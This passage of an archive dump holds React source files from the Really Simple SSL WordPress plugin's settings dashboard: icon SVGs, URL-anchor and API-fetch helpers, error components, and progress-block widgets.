                <path d="M208 0c-8.8 0-16 7.2-16 16s7.2 16 16 16c150.2 0 272 121.8 272 272c0 8.8 7.2 16 16 16s16-7.2 16-16C512 136.1 375.9 0 208 0zm0 96c-8.8 0-16 7.2-16 16s7.2 16 16 16c97.2 0 176 78.8 176 176c0 8.8 7.2 16 16 16s16-7.2 16-16c0-114.9-93.1-208-208-208zM32 304c0-24.5 5-47.7 13.9-68.8L276.8 466.1C255.7 475 232.5 480 208 480c-97.2 0-176-78.8-176-176zm33.5-94.5c-14-14-37.3-12.1-45.7 5.8C7.1 242.2 0 272.3 0 304C0 418.9 93.1 512 208 512c31.7 0 61.8-7.1 88.7-19.8c17.9-8.4 19.8-31.8 5.8-45.7L195.3 339.3l24-24c6.3 3 13.3 4.7 20.7 4.7c26.5 0 48-21.5 48-48s-21.5-48-48-48s-48 21.5-48 48c0 7.4 1.7 14.4 4.7 20.7l-24 24L65.5 209.5zM224 272a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"/>
            </svg>
    }
    if (iconName === 'rotate-light') {
        renderedIcon =
            <svg xmlns="http://www.w3.org/2000/svg"  color={iconColors[iconColor]} height={iconSize} viewBox="0 0 512 512"><path d="M426.1 301.2C406.2 376.5 337.6 432 256 432c-51 0-96.9-21.7-129-56.3l41-41c5.1-5.1 8-12.1 8-19.3c0-15.1-12.2-27.3-27.3-27.3H48c-8.8 0-16 7.2-16 16V404.7C32 419.8 44.2 432 59.3 432c7.2 0 14.2-2.9 19.3-8l25.7-25.7C142.3 438.7 196.2 464 256 464c97.4 0 179.2-67 201.8-157.4c2.4-9.7-5.2-18.6-15.2-18.6c-7.8 0-14.5 5.6-16.5 13.2zM385 136.3l-41 41c-5.1 5.1-8 12.1-8 19.3c0 15.1 12.2 27.3 27.3 27.3H464c8.8 0 16-7.2 16-16V107.3C480 92.2 467.8 80 452.7 80c-7.2 0-14.2 2.9-19.3 8l-25.7 25.7C369.7 73.3 315.8 48 256 48C158.6 48 76.8 115 54.2 205.4c-2.4 9.7 5.2 18.6 15.2 18.6c7.8 0 14.5-5.6 16.5-13.2C105.8 135.5 174.4 80 256 80c51 0 96.9 21.7 129.1 56.3zM448 192H374.6L448 118.6V192zM64 320h73.4L64 393.4V320z"/>
        </svg>
    }
    if (iconName === 'rotate-exclamation-light') {
        renderedIcon = <svg xmlns="http://www.w3.org/2000/svg"
                       viewBox="0 0 512 512"
                       height={iconSize}
            >
                <defs>
                    <style>{`
            .fa-secondary {
              opacity: 0.4;
              color: ${iconColors[iconColor]};
            }
          `}</style>
                </defs>
                <path className="fa-primary"
                      d="M280 152c0-13.3-10.7-24-24-24s-24 10.7-24 24V264c0 13.3 10.7 24 24 24s24-10.7 24-24V152zM256 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"/>
                <path className="fa-secondary"
                      d="M432 117.4C391 65.4 327.4 32 256 32C158.4 32 75.5 94.4 44.8 181.3c-5.9 16.7 2.8 34.9 19.5 40.8s34.9-2.8 40.8-19.5C127.1 140.5 186.4 96 256 96c52.3 0 98.8 25.1 128 64H352c-17.7 0-32 14.3-32 32s14.3 32 32 32h84.3c.5 0 1 0 1.5 0H464c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32s-32 14.3-32 32v37.4zm35.2 213.2c5.9-16.7-2.8-34.9-19.5-40.8s-34.9 2.8-40.8 19.5C384.9 371.5 325.6 416 256 416c-52.3 0-98.8-25.1-128-64h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H48c-17.7 0-32 14.3-32 32V432c0 17.7 14.3 32 32 32s32-14.3 32-32V394.6c41 52 104.6 85.4 176 85.4c97.6 0 180.5-62.4 211.2-149.3z"/>
            </svg>
    }

    if (iconName === 'radar-duotone') {
        renderedIcon = <svg xmlns="http://www.w3.org/2000/svg"
                       viewBox="0 0 512 512"
                       height={iconSize} >
                <defs>
                    <style>{`
            .fa-secondary {
              color: ${iconColors[iconColor]} !important;
            }        
          `}</style>
                </defs>
                <path className="fa-primary"
                      d="M497 49c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-182 182c-7.7-3.3-16.1-5.1-25-5.1c-35.3 0-64 28.7-64 64s28.7 64 64 64s64-28.7 64-64c0-8.9-1.8-17.3-5.1-25L497 49z"/>
                <path className="fa-secondary"
                      d="M350.9 127.2l-46.1 46.1c-14.3-8.4-31-13.3-48.8-13.3c-53 0-96 43-96 96s43 96 96 96s96-43 96-96h64c0 73.5-49.6 135.5-117.2 154.2C290.8 394.7 274.7 384 256 384s-34.8 10.7-42.8 26.2c-51.7-14.3-92.8-53.9-109.4-104.6c14.4-8.3 24.1-23.8 24.1-41.7c0-19.4-11.5-36.1-28-43.7C116.2 149.1 179.9 96 256 96c35.5 0 68.3 11.6 94.9 31.2zm22.8-22.8C341.2 79 300.4 64 256 64C163.1 64 85.7 129.9 67.9 217.6C47.2 222.9 32 241.7 32 264c0 23.8 17.3 43.6 40.1 47.4c19.3 64.3 71.5 114.4 137 130.9C213.8 463.8 233 480 256 480s42.2-16.2 46.9-37.8C386.3 421.3 448 345.9 448 256h64c0 141.4-114.6 256-256 256S0 397.4 0 256S114.6 0 256 0c62.1 0 118.9 22.1 163.3 58.8l-45.5 45.5z"/>
            </svg>
    }
    if (iconName === 'satellite-dish-duotone') {
        renderedIcon = <svg xmlns="http://www.w3.org/2000/svg"
                       viewBox="0 0 512 512"
                       height={iconSize}>
                <defs>
                        <style>{`
            .fa-secondary {
              color: ${iconColors[iconColor]} !important;
            }        
          `}</style>
                </defs>
                <path className="fa-primary"
                      d="M60.6 220.6c-14.5-14.5-38.8-11.8-46.3 7.3C5.1 251.5 0 277.1 0 304C0 418.9 93.1 512 208 512c26.9 0 52.5-5.1 76.1-14.4c19-7.5 21.8-31.8 7.3-46.3L187.3 347.3l28.4-28.4c2.6 .7 5.4 1.1 8.3 1.1c17.7 0 32-14.3 32-32s-14.3-32-32-32s-32 14.3-32 32c0 2.9 .4 5.6 1.1 8.3l-28.4 28.4L60.6 220.6z"/>
                <path className="fa-secondary"
                      d="M224 0c-17.7 0-32 14.3-32 32s14.3 32 32 32c123.7 0 224 100.3 224 224c0 17.7 14.3 32 32 32s32-14.3 32-32C512 128.9 383.1 0 224 0zm0 96c-17.7 0-32 14.3-32 32s14.3 32 32 32c70.7 0 128 57.3 128 128c0 17.7 14.3 32 32 32s32-14.3 32-32c0-106-86-192-192-192z"/>
            </svg>
    }

    if (iconName === 'spinner') {
        renderedIcon = <svg xmlns="http://www.w3.org/2000/svg"
                       viewBox="0 0 512 512"
                       width="20" height="20">
                    <defs>
                        <style>
                            {`
                            .fa-secondary {
                              opacity: 0.4;
                            }
                          `}
                        </style>
                    </defs>
                <path className="fa-primary"
                      d="M304 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM96 256A48 48 0 1 0 0 256a48 48 0 1 0 96 0zM75 142.9A48 48 0 1 0 142.9 75 48 48 0 1 0 75 142.9z"/>
                <path className="fa-secondary"
                      d="M369.1 75A48 48 0 1 1 437 142.9 48 48 0 1 1 369.1 75zM416 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM208 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM75 369.1A48 48 0 1 1 142.9 437 48 48 0 1 1 75 369.1zm294.2 0A48 48 0 1 1 437 437a48 48 0 1 1 -67.9-67.9z"/>
            </svg>
    }

    return (
        <div {...props} ref={ref}>{renderedIcon}</div>
    )
});
const Icon = ({name, color, size, tooltip}) => {
    // set defaults if not set
    const iconName = name || 'bullet';
    const iconColor = color || 'black';
    let iconSize = size || 15;

    let tooltipClass = tooltip ? 'tooltip-' : '';
    let randomId= Math.floor(Math.random() * 1000000000);
    if ( tooltip ) {
        return (
            <div className={'rsssl-' + tooltipClass + 'icon rsssl-icon-' + iconName + ' rsssl-' + iconColor}>
                <IconHtml data-for={".rsssl-"+randomId}  name={iconName} color={iconColor} size={iconSize} id={randomId} className={"rsssl-"+randomId} data-tooltip-delay-hide={200}/>
                <Tooltip style={{ zIndex: 99 }} id={randomId} place="bottom" anchorSelect={".rsssl-"+randomId} content={tooltip} />
            </div>
        );
    }

    return (
        <div className={'rsssl-' + tooltipClass + 'icon rsssl-icon-' + iconName + ' rsssl-' + iconColor}>
            <IconHtml name={iconName} color={iconColor} size={iconSize} />
        </div>
    );
}
export default Icon;really-simple-ssl/settings/src/utils/getAnchor.js000064400000002576147510273070016201 0ustar00/*
 * helper function to delay after a promise
 * @param ms
 * @returns {function(*): Promise<unknown>}
 */
const getAnchor = (level) => {
    let url = window.location.href;
    if (url.indexOf('#') === -1) {
        return false;
    }

    let queryString = url.split('#')[1];
    if (!queryString) {
        return false;
    }

    // Split the query string to handle multiple parameters
    let urlParts = queryString.split('&');

    if (level === 'highlightfield') {
        // Extract highlightfield parameter
        for (let part of urlParts) {
            if (part.startsWith('highlightfield=')) {
                return part.split('=')[1];
            }
        }
        return false;
    }

    // Default behavior for 'anchor' and 'menu'
    let urlPart = urlParts[0];

    if (level === 'anchor') {
        if (urlPart.indexOf('/') === -1) {
            return false;
        } else {
            let urlSegments = urlPart.split('/');
            return urlSegments.length > 2 ? urlSegments[2] : false;
        }
    } else if (level === 'menu') {
        if (urlPart.indexOf('/') === -1) {
            return false;
        } else {
            let urlSegments = urlPart.split('/');
            return urlSegments.length > 1 ? urlSegments[1] : false;
        }
    } else {
        return urlPart.indexOf('/') === -1 ? urlPart : urlPart.split('/')[0];
    }
};

export default getAnchor;
really-simple-ssl/settings/src/utils/AddUrlRef.js000064400000000466147510273070016073 0ustar00export const addUrlRef = (url) => {
    const ref = rsssl_settings.ref;
    if ( parseInt(ref) > 0 ) {
        const [baseUrl, hash] = url.split('#');
        const separator = baseUrl.includes('?') ? '&' : '?';
        url = `${baseUrl}${separator}ref=${ref}${hash ? `#${hash}` : ''}`;
    }
    return url;
}really-simple-ssl/settings/src/utils/Flag/Flag.js000064400000000446147510273070016003 0ustar00import * as Flags from './Flags';

const Flag = ({ countryCode, style, title }) => {
  const FlagComponent = Flags[countryCode];
  return FlagComponent ? <span title={title} ><FlagComponent style={style} /></span> : (
      <span title={title}>{countryCode}</span>
  );
};

export default Flag;really-simple-ssl/settings/src/utils/Error.js000064400000005004147510273070015345 0ustar00import {__} from "@wordpress/i18n";
import Hyperlink from "./Hyperlink";

const Error = (props) => {
    if (props.error) {
        console.log("errors detected during the loading of the settings page");
        console.log(props.error);
    }
    let description = false;
    let url = 'https://really-simple-ssl.com/instructions/how-to-debug-a-blank-settings-page-in-really-simple-ssl/';

    let generic_rest_blocked_message = __("Please check if security settings on the server or a plugin is blocking the requests from Really Simple Security.", "really-simple-ssl");
    let message = false;
    if (props.error) {
        message = props.error.message;
        if ( typeof message !== 'string'  ) {
            message = JSON.stringify(message);
        }
        if ( props.error.code==='rest_no_route') {
            description = __("The Really Simple Security Rest API is disabled.", "really-simple-ssl")+" "+generic_rest_blocked_message
        } else if ( props.error.data.status === '404') {
            description = __("The Really Simple Security Rest API returned a not found.", "really-simple-ssl")+" "+generic_rest_blocked_message;
        } else if ( props.error.data.status === '403') {
            description = __("The Really Simple Security Rest API returned a 403 forbidden error.", "really-simple-ssl")+" "+generic_rest_blocked_message;
        }
        if (message.length>100){
            message = message.substring(0, 100)+ '...';
        }

    }

    return (
        <>
            {props.error && <div className="rsssl-rest-error-message">
                <h3>{__("A problem was detected during the loading of the settings", "really-simple-ssl")}</h3>
                {description &&
                    <p>{description}</p>
                }

                <div>
                    <p>{__("The request returned the following errors:", "really-simple-ssl")}</p>
                    <ul>
                        {props.error.code && <li>{__("Response code:", "really-simple-ssl")}&nbsp;{props.error.code}</li>}
                        {props.error.data.status && <li>{__("Status code:", "really-simple-ssl")}&nbsp;{props.error.data.status}</li>}
                        {message && <li>{__("Server response:", "really-simple-ssl")}&nbsp;{message}</li>}
                    </ul>
                </div>
                <Hyperlink className="button button-default" target="_blank" rel="noopener noreferrer" text={__("More information","really-simple-ssl")} url={url}/>

            </div>}
        </>
    )
}
export default Errorreally-simple-ssl/settings/src/utils/api.js000064400000012472147510273070015034 0ustar00import getAnchor from "./getAnchor";
import apiFetch from '@wordpress/api-fetch';

export const getNonce = () => {
    return '&nonce='+rsssl_settings.rsssl_nonce+'&token='+Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);
};

const usesPlainPermalinks = () => {
    return rsssl_settings.site_url.indexOf('?') !==-1;
};

const ajaxPost = (path, requestData) => {
    return new Promise(function (resolve, reject) {
        let url = siteUrl('ajax');
        let xhr = new XMLHttpRequest();
        xhr.open('POST', url );
        xhr.onload = function () {
            let response;
            try {
                response = JSON.parse(xhr.response);
            } catch (error) {
                resolve(invalidDataError(xhr.response, 500, 'invalid_data') );
            }
            if (xhr.status >= 200 && xhr.status < 300) {
                resolve(response);
            } else {
                resolve(invalidDataError(xhr.response, xhr.status, xhr.statusText) );
            }
        };
        xhr.onerror = function () {
            resolve(invalidDataError(xhr.response, xhr.status, xhr.statusText) );
        };

        let data = {};
        data['path'] = path;
        data['data'] = requestData;
        data = JSON.stringify(data, stripControls);
        xhr.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');
        xhr.send(data);
    });
}

/**
 * All data elements with 'Control' in the name are dropped, to prevent:
 * TypeError: Converting circular structure to JSON
 * @param key
 * @param value
 * @returns {any|undefined}
 */
const stripControls = (key, value) => {
    if (!key){return value}
    if (key && key.includes("Control")) {
        return undefined;
    }
    if (typeof value === "object") {
        return JSON.parse(JSON.stringify(value, stripControls));
    }
    return value;
}

const ajaxGet = (path) => {
    return new Promise(function (resolve, reject) {
        let url = siteUrl('ajax');
        url+='&rest_action='+path.replace('?', '&');

        let xhr = new XMLHttpRequest();
        xhr.open('GET', url);
        xhr.onload = function () {
            let response;
            try {
                response = JSON.parse(xhr.response);
            } catch (error) {
                resolve(invalidDataError(xhr.response, 500, 'invalid_data') );
            }
            if (xhr.status >= 200 && xhr.status < 300) {
                if ( !response.hasOwnProperty('request_success') ) {
                    resolve(invalidDataError(xhr.response, 500, 'invalid_data') );
                }
                resolve(response);
            } else {
                resolve(invalidDataError(xhr.response, xhr.status, xhr.statusText) );
            }
        };
        xhr.onerror = function () {
            resolve(invalidDataError(xhr.response, xhr.status, xhr.statusText) );
        };
        xhr.send();
    });

}


/**
 * if the site is loaded over https, but the site url is not https, force to use https anyway, because otherwise we get mixed content issues.
 * @returns {*}
 */
const siteUrl = (type) => {
    let url;
    if (typeof type ==='undefined') {
        url = rsssl_settings.site_url;
    } else {
        url = rsssl_settings.admin_ajax_url
    }
    if ( window.location.protocol === "https:" && url.indexOf('https://')===-1 ) {
        return url.replace('http://', 'https://');
    }
    return  url;
}


const invalidDataError = (apiResponse, status, code ) => {
    let response = {}
    let error = {};
    let data = {};
    data.status = status;
    error.code = code;
    error.data = data;
    error.message = apiResponse;
    response.error = error;
    return response;
}
const apiGet = (path) => {
    return apiFetch( { path: path } ).then((response) => {
        if ( !response.request_success ) {
            return ajaxGet(path);
        }
        return response;
    }).catch((error) => {
        return ajaxGet(path);
    });
}

const apiPost = (path, data) => {
    return apiFetch( {
        path: path,
        method: 'POST',
        data: data,
    } ).catch((error) => {
        return ajaxPost(path, data);
    });
}

const glue = () => {
    return rsssl_settings.site_url.indexOf('?')!==-1 ? '&' : '?'
}

export const getFields = () => {
    //we pass the anchor, so we know when LE is loaded
    let anchor = getAnchor('main');
    return apiGet('reallysimplessl/v1/fields/get'+glue()+anchor+getNonce(), 'GET');
};

/*
 * Post our data to the back-end
 * @param data
 */

export const setFields = (data) => {
    //we pass the anchor, so we know when LE is loaded
    let anchor = getAnchor('main');
    let nonce = {'nonce': rsssl_settings.rsssl_nonce};
    data.push(nonce);
    return apiPost('reallysimplessl/v1/fields/set' + glue() + anchor, data);
}

export const runTest = (test, state, data ) => {
    if ( !state ){
        state = false;
    }
	if ( !data ) {
		data = false;
	}
    data = encodeURIComponent(JSON.stringify(data));
    return apiGet('reallysimplessl/v1/tests/'+test+glue()+'state='+state+getNonce()+'&data='+data)
};

export const runLetsEncryptTest = (test, id ) => {
    return apiGet('reallysimplessl/v1/tests/'+test+glue()+'letsencrypt=1&id='+id+getNonce());
}

export const doAction = (action, data) => {
    const newData = { ...data };
    newData.nonce = rsssl_settings.rsssl_nonce;
    return apiPost('reallysimplessl/v1/do_action/'+action, newData);
}
really-simple-ssl/settings/src/utils/formatting.js000064400000003454147510273070016435 0ustar00/**
 Takes a relative date and an optional date parameter, and returns a human-readable string representing the difference between the two dates.
 @function
 @param {number|Date} relativeDate - The relative date (can be a number
      representing an UTC timestamp, or a Date object).
 @param {Date} [date=new Date()] - An optional date parameter to compare the
      relative date to. Defaults to the current date and time.
 @returns {string} A human-readable string representing the difference between
      the two dates (e.g., "in 3 months", "5 hours ago", etc.). Returns "-" if the input date is invalid or not yet loaded.
 @example
 const timestamp = Date.now() / 1000 + 60 * 60 * 24 * 3; // UTC timestamp 3 days from now
 console.log(getRelativeTime(timestamp)); // Output: "in 3 days"
 */
 export const getRelativeTime = (relativeDate, date = new Date()) => {
  // if relativeDate is a number, we assume it is an UTC timestamp
  if (typeof relativeDate === 'number') {
    // count charachters to check if in seconds or milliseconds
    if (relativeDate.toString().length < 13) {
      relativeDate = relativeDate * 1000;
    }
    // convert to date object
    relativeDate = new Date(relativeDate);
  }
  if (!(relativeDate instanceof Date)) {
    // invalid date, probably still loading
    return '-';
  }
  let units = {
    year  : 24 * 60 * 60 * 1000 * 365,
    month : 24 * 60 * 60 * 1000 * 365/12,
    day   : 24 * 60 * 60 * 1000,
    hour  : 60 * 60 * 1000,
    minute: 60 * 1000,
    second: 1000
  }
  let rtf = new Intl.RelativeTimeFormat('en', { numeric: 'auto' })
  let elapsed = relativeDate - date
  // "Math.abs" accounts for both "past" & "future" scenarios
  for (let u in units) {
    if (Math.abs(elapsed) > units[u] || u === 'second') {
      return rtf.format(Math.round(elapsed/units[u]), u)
    }
  }
}really-simple-ssl/settings/src/utils/lib.js000064400000000577147510273070015034 0ustar00export const in_array = (needle, haystack) => {
    let length = haystack.length;
    for(let i = 0; i < length; i++) {
        if( haystack[i] == needle ) return true;

    }
    return false;
}

export const errorMsg = (error) => {
    let length = haystack.length;
    for(let i = 0; i < length; i++) {
        if( haystack[i] == needle ) return true;

    }
    return false;
}

really-simple-ssl/settings/src/utils/ErrorBoundary.js000064400000002352147510273070017054 0ustar00import { Component } from '@wordpress/element';
import PropTypes from 'prop-types';

class ErrorBoundary extends Component {
    constructor(props) {
        super(props);
        this.state = { hasError: false, error: null, errorInfo: null };
        this.resetError = this.resetError.bind(this);
    }

    static getDerivedStateFromError(error) {
        return { hasError: true };
    }

    componentDidCatch(error, errorInfo) {
        this.setState({ error, errorInfo });
        // You can also log the error to an error reporting service
        console.log('ErrorBoundary', error, errorInfo);
    }

    resetError() {
        this.setState({ hasError: false, error: null, errorInfo: null });
    }

    render() {
        if (this.state.hasError) {
            return (
                <div>
                    <h1>Something went wrong.</h1>

                    {/* You can render any custom fallback UI */}
                    <p>{this.props.fallback}</p>
                    <button onClick={this.resetError}>Try Again</button>
                </div>
            );
        }

        return this.props.children;
    }
}

ErrorBoundary.propTypes = {
    children: PropTypes.node,
    fallback: PropTypes.node,
};

export default ErrorBoundary;really-simple-ssl/settings/src/utils/sleeper.js000064400000000410147510273070015707 0ustar00/*
 * helper function to delay after a promise
 * @param ms
 * @returns {function(*): Promise<unknown>}
 */
const sleeper = (ms) => {
    return function(x) {
        return new Promise(resolve => setTimeout(() => resolve(x), ms));
    };
}
export default sleeper;really-simple-ssl/settings/src/utils/Hyperlink.js000064400000001634147510273070016226 0ustar00const Hyperlink = (props) => {
    let label_pre = '';
    let label_post = '';
    let link_text = '';

    // Split the text around '%s' if it exists
    if (props.text.indexOf('%s') !== -1) {
        let parts = props.text.split(/%s/);
        label_pre = parts[0];
        link_text = parts[1];
        label_post = parts[2];
    } else {
        link_text = props.text;
    }

    // Use the passed className or default to 'rsssl-link'
    let className = props.className ? props.className : 'rsssl-link';

    // Include rel attribute in the anchor tag
    return (
        <>
            {label_pre}
            <a
                className={className}
                target={props.target}
                rel={props.rel} // Add the rel attribute here
                href={props.url}
            >
                {link_text}
            </a>
            {label_post}
        </>
    );
}

export default Hyperlink;really-simple-ssl/settings/src/index.php000064400000000043147510273070014374 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/settings/src/Dashboard/Progress/ProgressBlock.js000064400000007675147510273070021406 0ustar00import {
    useState, useEffect, useRef
} from '@wordpress/element';
import TaskElement from "./../TaskElement";
import useProgress from "./ProgressData";
import {__} from "@wordpress/i18n";

const ProgressBlock = (props) => {
    const {percentageCompleted, progressText, filter, notices, progressLoaded, getProgressData, error} = useProgress();
  useEffect( () => {
      getProgressData();

    }, [] );

    const getStyles = () => {
        return Object.assign(
            {},
            {width: percentageCompleted+"%"},
        );
    }

    let progressBarColor = '';
    if ( percentageCompleted<80 ) {
        progressBarColor += 'rsssl-orange';
    }

  if ( !progressLoaded || error ) {
    return (
        <div className="rsssl-progress-block">
          <div className="rsssl-progress-bar">
            <div className="rsssl-progress">
              <div className={'rsssl-bar rsssl-orange'} style={getStyles()}></div>
            </div>
          </div>

          <div className="rsssl-progress-text">
            <h1 className="rsssl-progress-percentage">
              0%
            </h1>
            <h5 className="rsssl-progress-text-span">
              {__('Loading...', 'really-simple-ssl')}
            </h5>
          </div>

          <div className="rsssl-scroll-container">
            <div className="rsssl-task-element">
              <span className={'rsssl-task-status rsssl-loading'}>{__('Loading...', 'really-simple-ssl')}</span>
              <p className="rsssl-task-message">{__('Loading...', 'really-simple-ssl')}</p>
            </div>
          </div>
        </div>
    );
  }

    let noticesOutput = notices;
    if ( filter==='remaining' ) {
        noticesOutput = noticesOutput.filter(function (notice) {
            return notice.output.status==='open' || notice.output.status==='warning';
        });
    }

    return (
        <div className="rsssl-progress-block">
            <div className="rsssl-progress-bar">
                <div className="rsssl-progress">
                    <div className={'rsssl-bar ' + progressBarColor} style={getStyles()}></div>
                </div>
            </div>

            <div className="rsssl-progress-text">
              <AnimatedPercentage percentageCompleted={percentageCompleted} />
                <h5 className="rsssl-progress-text-span">
                    {progressText}
                </h5>
            </div>

            <div className="rsssl-scroll-container">
                {noticesOutput.map((notice, i) => <TaskElement key={"task-"+i} notice={notice}/>)}
            </div>
        </div>
    );

}
export default ProgressBlock;

export const AnimatedPercentage = ({ percentageCompleted }) => {
  const [displayedPercentage, setDisplayedPercentage] = useState(0);
  // useRef previous percentageCompleted
  const prevPercentageCompleted = useRef(0);
  const easeOutCubic = (t) => {
    return 1 - Math.pow(1 - t, 3);
  };

  useEffect(() => {
    const startPercentage = prevPercentageCompleted.current;
    const animationDuration = 1000;
    const startTime = Date.now();

    const animatePercentage = () => {
      const elapsedTime = Date.now() - startTime;
      const progress = Math.min(elapsedTime / animationDuration, 1);
      const easedProgress = easeOutCubic(progress);

      const newPercentage = Math.min(startPercentage + (percentageCompleted - startPercentage) * easedProgress, percentageCompleted);

      if (progress < 1) {
        // update displayedPercentage
        setDisplayedPercentage(newPercentage);
        prevPercentageCompleted.current = percentageCompleted;
      } else {
        // update prevPercentageCompleted to the new percentageCompleted
        clearInterval(animationInterval);
      }
    };

    const animationInterval = setInterval(animatePercentage, 16);
    return () => clearInterval(animationInterval);
  }, [percentageCompleted]);

  return (
      <h1 className="rsssl-progress-percentage">
        {Math.round(displayedPercentage)}%
      </h1>
  );
};really-simple-ssl/settings/src/Dashboard/Progress/ProgressData.js000064400000002610147510273070021205 0ustar00import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
const useProgress = create(( set, get ) => ({
    filter:'all',
    progressText:'',
    notices: [],
    error:false,
    percentageCompleted:0,
    progressLoaded:false,
    setFilter: (filter) => {
        sessionStorage.rsssl_task_filter = filter;

        set(state => ({ filter }))
    },
    fetchFilter: () => {
        if ( typeof (Storage) !== "undefined" && sessionStorage.rsssl_task_filter  ) {
            let filter = sessionStorage.rsssl_task_filter;
            set(state => ({ filter:filter }))

        }
    },
    getProgressData: async () => {
        const {percentage, text, notices, error } = await rsssl_api.runTest('progressData', 'refresh').then( ( response ) => {
            return response;
        });

        set(state => ({
            notices:notices,
            percentageCompleted:percentage,
            progressText:text,
            progressLoaded:true,
            error:error,
        }))
    },
    dismissNotice: async (noticeId) => {
        let notices = get().notices;
        notices = notices.filter(function (notice) {
            return notice.id !== noticeId;
        });
        set(state => ({ notices:notices }))
        const {percentage} = await rsssl_api.runTest('dismiss_task', noticeId);
        set({ percentageCompleted:percentage })
    }
}));

export default useProgress;

really-simple-ssl/settings/src/Dashboard/Progress/ProgressBlockHeader.js000064400000003603147510273070022502 0ustar00import { __ } from '@wordpress/i18n';
import {
    useEffect,
} from '@wordpress/element';
import useProgress from "./ProgressData";

const ProgressHeader = () => {
    const {setFilter, filter, fetchFilter, notices, error } = useProgress();

    useEffect( () => {
        fetchFilter();
    }, [] );

    const onClickHandler = (e) => {
        let filter = e.target.getAttribute('data-filter');
        if (filter==='all' || filter==='remaining') {
            setFilter(filter);
        }
    }

    if  (error ) {
        return (
            <></>
        );
    }

    let all_task_count = 0;
    let open_task_count = 0;
    all_task_count = notices.length;
    let openNotices = notices.filter(function (notice) {
        return notice.output.status==='open' || notice.output.status==='warning';
    });
    open_task_count = openNotices.length;

    return (
        <>
            <h3 className="rsssl-grid-title rsssl-h4">{  __( "Progress", 'really-simple-ssl' ) }</h3>
            <div className="rsssl-grid-item-controls">
                <div className={"rsssl-task-switcher-container rsssl-active-filter-"+filter}>
                    <span className="rsssl-task-switcher rsssl-all-tasks" onClick={onClickHandler} htmlFor="rsssl-all-tasks" data-filter="all">
                            { __( "All tasks", "really-simple-ssl" ) }
                        <span className="rsssl_task_count">({all_task_count})</span>
                    </span>
                            <span className="rsssl-task-switcher rsssl-remaining-tasks" onClick={onClickHandler} htmlFor="rsssl-remaining-tasks" data-filter="remaining">
                            { __( "Remaining tasks", "really-simple-ssl" )}
                                <span className="rsssl_task_count">({open_task_count})</span>
                    </span>
                </div>
            </div>
        </>

    );

}
export default ProgressHeader;
really-simple-ssl/settings/src/Dashboard/Progress/ProgressFooter.js000064400000006763147510273070021607 0ustar00import { __ } from '@wordpress/i18n';
import Icon from "../../utils/Icon";
import useFields from "../../Settings/FieldsData";
import useOnboardingData from "../../Onboarding/OnboardingData";

const ProgressFooter = (props) => {
    const {setShowOnBoardingModal} = useOnboardingData();
    const {fields} = useFields();

    let vulnerabilityScanValue = fields.filter( field => field.id==='enable_vulnerability_scanner' )[0].value;
    let sslEnabled = fields.filter( field => field.id==='ssl_enabled' )[0].value;
    let wpconfigFixRequired = rsssl_settings.wpconfig_fix_required;
    let firewallEnabled = fields.filter( field => field.id==='enable_firewall' )[0].value;
    let sslStatusText = sslEnabled ? __( "SSL", "really-simple-ssl" ) : __( "SSL", "really-simple-ssl" );
    let sslStatusIcon = sslEnabled ? 'circle-check' : 'circle-times';
    let sslStatusColor = sslEnabled ? 'green' : 'red';
    let vulnerabilityIcon = vulnerabilityScanValue ? 'circle-check' : 'circle-times';
    let vulnerabilityColor = vulnerabilityScanValue ? 'green' : 'red';
    let firewallIcon = firewallEnabled ? 'circle-check' : 'circle-times';
    let firewallColor = firewallEnabled ? 'green' : 'red';
    return (
        <>
            {!sslEnabled && <button disabled={wpconfigFixRequired} onClick={() => setShowOnBoardingModal(true)}
                                    className="button button-primary">{__("Activate SSL", "really-simple-ssl")}</button>}
            {rsssl_settings.pro_plugin_active &&
                <span className="rsssl-footer-left">Really Simple Security Pro {rsssl_settings.pro_version}</span>}
            {!rsssl_settings.pro_plugin_active &&
                <a href={rsssl_settings.upgrade_link} target="_blank" rel="noopener noreferrer"
                   className="button button-default">{__("Go Pro", "really-simple-ssl")}</a>}

            <div className="rsssl-legend">
                <Icon name={sslStatusIcon} color={sslStatusColor}/>
                <div className={"rsssl-progress-footer-link"}>
                    <a href="#settings/encryption">
                        {sslStatusText}
                    </a>
                </div>
            </div>
            <div className="rsssl-legend">
                <Icon name={firewallIcon} color={firewallColor}/>
                <div className={"rsssl-progress-footer-link"}>
                    {firewallEnabled ? (
                        <a href="#settings/rules">
                            {__("Firewall", "really-simple-ssl")}
                        </a>
                    ) : (
                        <a href="#settings/firewall&highlightfield=enable_firewall">
                            {__("Firewall", "really-simple-ssl")}
                        </a>
                    )}
                </div>
            </div>
            <div className="rsssl-legend">
                <Icon name={vulnerabilityIcon} color={vulnerabilityColor}/>
                <div className={"rsssl-progress-footer-link"}>
                    {vulnerabilityScanValue ? (
                        <a href="#settings/vulnerabilities">
                            {__("Vulnerability scan", "really-simple-ssl")}
                        </a>
                    ) : (
                        <a href="#settings/vulnerabilities&highlightfield=enable_vulnerability_scanner">
                            {__("Vulnerability scan", "really-simple-ssl")}
                        </a>
                    )}
                </div>
            </div>
        </>
    );
}

export default ProgressFooter;
really-simple-ssl/settings/src/Dashboard/SslLabs/SslLabs.js000064400000030135147510273070017714 0ustar00import { useEffect, useState, useRef} from "@wordpress/element";
import { __ } from '@wordpress/i18n';
import Icon from "../../utils/Icon";
import useSslLabs from "./SslLabsData";
import {getRelativeTime} from "../../utils/formatting";
import {addUrlRef} from "../../utils/AddUrlRef";
const ScoreElement = ({className, content, id}) => {
    const [hover, setHover] = useState(false);

    let hoverClass = hover ? 'rsssl-hover' : '';
    return (
        <div key={'score_container-'+id} className="rsssl-score-container"><div
            onMouseEnter={()=> setHover(true)}
            onMouseLeave={() => setHover(false)}
            className={"rsssl-score-snippet "+className+' '+hoverClass}>{content}</div></div>
    )
}

const SslLabs = () => {
    const {
        dataLoaded,
        clearCache,
        endpointData,
        setEndpointData,
        sslData,
        setSslData,
        sslScanStatus,
        setSslScanStatus,
        isLocalHost,
